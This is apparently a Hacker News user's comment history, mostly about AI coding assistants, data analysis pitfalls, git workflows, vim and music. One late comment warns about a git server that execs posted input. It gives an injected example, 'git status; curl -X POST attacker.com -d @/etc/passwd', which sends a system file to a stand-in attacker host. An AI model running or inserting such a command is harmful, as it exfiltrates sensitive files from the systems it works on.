aidos

That GPT-6 Sol max pelican looks… so old and depressed.

Heh. I got access yesterday. Worked really well to have Claude take my task and convert it into a batch of questions for Jev, firing 100 records through it and then aggregating the results.

I see a bunch of people saying that there were already similar solutions in this space. Maybe true but it definitely feels like the missing primitive for working with llms. Can immediately see how it can be deployed in real applications in a way that the autoregressive chat approach can’t.

Also recommend his other books!

Big Bang - history of the understanding of space and the universe

Code book - history of the maths of ciphers

Haven’t read them for years but I’ve been meaning to again

Is it just me or does the dragging feel backwards?

That’s… bonkers. I’m not even sure what it’s trying to say

I wasn’t trying to make a “got em” comment.

The fact that this is possible and works at all is mind blowing - even more mind blowing is that my 8 yo is growing up in a world where they can talk to a machine to produce a custom application in seconds and they don’t realise how mind blowing it is!

In terms of the code, it would take even less time than that to tidy it up. For this application you wouldn’t bother. That’s almost a form of “premature optimisation” unless you’re actually planning on doing more work on it.

My hunch is that what the world is about to see a lot of is much bigger bits of work, or changes to other bigger existing systems done by people without the skills to know how to contain the complexity. That’s going to come with a burden.

Yesterday my 8yo prompted (using voice recognition) Claude to make a game where it would play her a song (say Twinkle) and she had to play it back and get scored. The UI was a nice piano with visual feedback. The laptop key served as the keys until I prompted for midi support so she could use the electric piano. The whole thing took about 15 minutes.

Meanwhile, one peak at the code and you can already see the state starting to become a bit of a spaghetti mess.

It’s a funny time to live through. A lot of code is being written and a lot of it is going to be a real future burden.

Are you suggesting something like this?

    def createUesr(db):
        if db is type1:
            behaviour1
        if db is type2:
            behaviour2

I think you can use a passkey now.

Don’t get me wrong, I very much agree with the danger. As I highlighted - I saw it this morning when someone used Claude to draw the wrong conclusions.

I’m saying there is a way in which they can be used where there isn’t scope for numerical hallucinations at all. They can write sql queries, for example, without ever being allowed to even see numbers.

What invariably does and will happen though is they’ll inner join instead of left join and some data will get missed. Or there will be some missing context (users in this set already have a certain class of property by virtue of some selection bias and that will be mistreated as some signal etc).

Depends on how it’s done.

I use it a lot now for knocking up grafana charts etc. It’s not so much that the LLM is feeding the numbers through. You can still use real tools to analyse and summarise the numbers, it’s just much quicker at driving them.

As ever with data analysis, two things will continue to be true. Real insights come from spotting something that looks off and digging into it deeper. Secondly, it’s really easy to connect data in a misleading way.

I’ve had a Claude analysis handed to me this morning including a summary list of actions we’re going to take next which falls into this very trap.

The insights you’ll get from your data will only be as deep as the curiosity of the person at the helm.

Alleycat in CGA just hit me hard.

For the people that didn’t live through this time, lining these images up makes it obvious why those that did speak of how visually impressive the Amiga was.

Fair. It did have George Clinton at the helm.

I loved all the early stuff. Freaky Styley, Mothers Milk, The Uplift Mofo party plan. With Rick Rubin at the controls I just think Blood Sugar Sex Magik took their sound to another level.

That does seem like less than I would expect!

It always makes me a bit sad that everyone knows RHCP but less so their early stuff. Blood sugar sex magik is a funk masterpiece. Didn’t help that for years Spotify used the singles versions of the tracks so the levels were all over the place and it was basically unstreamable.

Can you explain how conflicts are not conflicts?

If I change a line of code several times and rebase on to a branch that changed the same lines of code, how are you sure what the right one is?

Multi threading, but yeah.

Original HN post here if you’re interested. https://news.ycombinator.com/item?id=7279358

> To what degree did I expand scope because I knew I could do more using the AI?

Someone at work recently termed this “Claude Creep”. It’s so easy to generate things push you towards going further but the reality is that’s you’re setting yourself up for more and more work to get them over the line.

Yup same. Going a little insane trying to set up a new device that's having network issues. Claude was helping me diagnose. Seems like I've infected the whole internet.

One annoying thing about that flow is that when you change the world outside the model it breaks its assumptions and it loses its way faster (in my experience).

Ha! I had someone doing a task the other day and the llm they used wrote a regex in Perl. I joked that in 25 years all the seems to have changed is the number of layers between me and Perl.

For me, all the code in the PR at that point is in question. The code was changed as part of a bigger part of work and reverting it without understanding why might cause issues back the other way.

The other thing to say - that is missing from this conversation - is that if you’re using github, the original commits are still against the PR.

Maybe a slight misinterpretation of what I meant. The commit that goes with a PR is definitely useful context, but I’ve found more granular than that is seldom useful. Even big ones like “move from angular to react” - the details of someone getting something wrong in there don’t matter, it’s the scale of it that just makes me go “oh yeah, this is bound to be a mistake”.

Maybe different in other places, but after 15 years in my codebase, I’m still happy with a simple linear history.

Sudden flashbacks to when I was trying to figure out why there was so much traffic to a blog post (15+ years ago).

I guess the internet was looking for something different to my “kick-[ass open]-source software”.

It’s pretty hard to keep the commits in a working branch in a good legible state - certainly it takes work to do it.

In 25 years of professional development I’ve never really had a situation where the commits on a branch would have helped me understand what was going on a year ago when the work was done. That includes pretty big bits of project work.

I’d much rather have a trunk with commits at the granularity of features.

The bicycles are getting pretty cyclable now. I’m enjoying this pelican that’s already sliced and ready to bbq.

Ha! If I even look at my lath and plaster walls the wrong way a little bit crumbles away.

You can create an oauth client that can generate keys as you need them.

https://tailscale.com/kb/1215/oauth-clients#generating-long-...

Vim recognises that the typing text is a small part of coding by defaulting to a mode in which you can’t even type :)

For me, vim is a nice way to navigate code. It’s really fast to jump from place to place so I can explore quickly and build an understanding.

> allows functions to read the context they’re called in

Can you show an example? Seems interesting considering that code knowing about external context is not generally a good pattern when it comes to maintainability (security, readability).

I’ve lived through some horrific 10M line coldfusion codebases that embraced this paradigm to death - they were a whole other extreme where you could _write_ variables in the scope of where you were called from!

Let's hope Claude doesn't decide to run anything else through that git-server, since it's exec-ing whatever is posted over http.

But hey, so long as it starts with 'git ' you're safe, riiiiight? Oh, 'git status; curl -X POST attacker.com -d @/etc/passwd'

https://raw.githubusercontent.com/vjeux/pokemon-showdown-rs/...